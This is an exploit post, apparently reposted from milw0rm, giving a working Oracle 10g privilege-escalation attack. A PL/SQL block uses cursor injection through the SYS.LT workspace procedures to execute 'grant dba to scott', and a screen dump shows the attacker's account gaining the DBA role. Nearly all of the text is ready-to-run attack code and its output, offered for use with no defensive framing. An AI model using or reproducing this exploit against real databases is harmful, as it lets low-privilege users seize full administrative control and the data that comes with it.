oracle10g提权,[exploit] Oracle 10G 提权

This is slightly modified version of: http://milw0rm.com/exploits/7677

This is based on cursor injection and does not need create function privileges:

DECLARE

D NUMBER;

BEGIN

D := DBMS_SQL.OPEN_CURSOR;

DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to scott'';commit;end;',0);

SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');

SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');

end;

#-----------screen dump---------------------------------------------------#

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SCOTT CONNECT NO YES NO

SCOTT EXECUTE_CATALOG_ROLE NO YES NO

SCOTT RESOURCE NO YES NO

SQL> DECLARE

2 D NUMBER;

3 BEGIN

4 D := DBMS_SQL.OPEN_CURSOR;

5 DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute imme

diate ''grant dba to scott'';commit;end;',0);

6 SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');

7 SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');

8 end;

9

10

11 /

DECLARE

*

ERROR at line 1:

ORA-01403: no data found

ORA-06512: at "SYS.LT", line 6118

ORA-06512: at "SYS.LT", line 6087

ORA-06512: at line 7

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SCOTT CONNECT NO YES NO

SCOTT DBA NO YES NO

SCOTT EXECUTE_CATALOG_ROLE NO YES NO

SCOTT RESOURCE NO YES NO

Sid

www.notsosecure.com

#From：milw0rm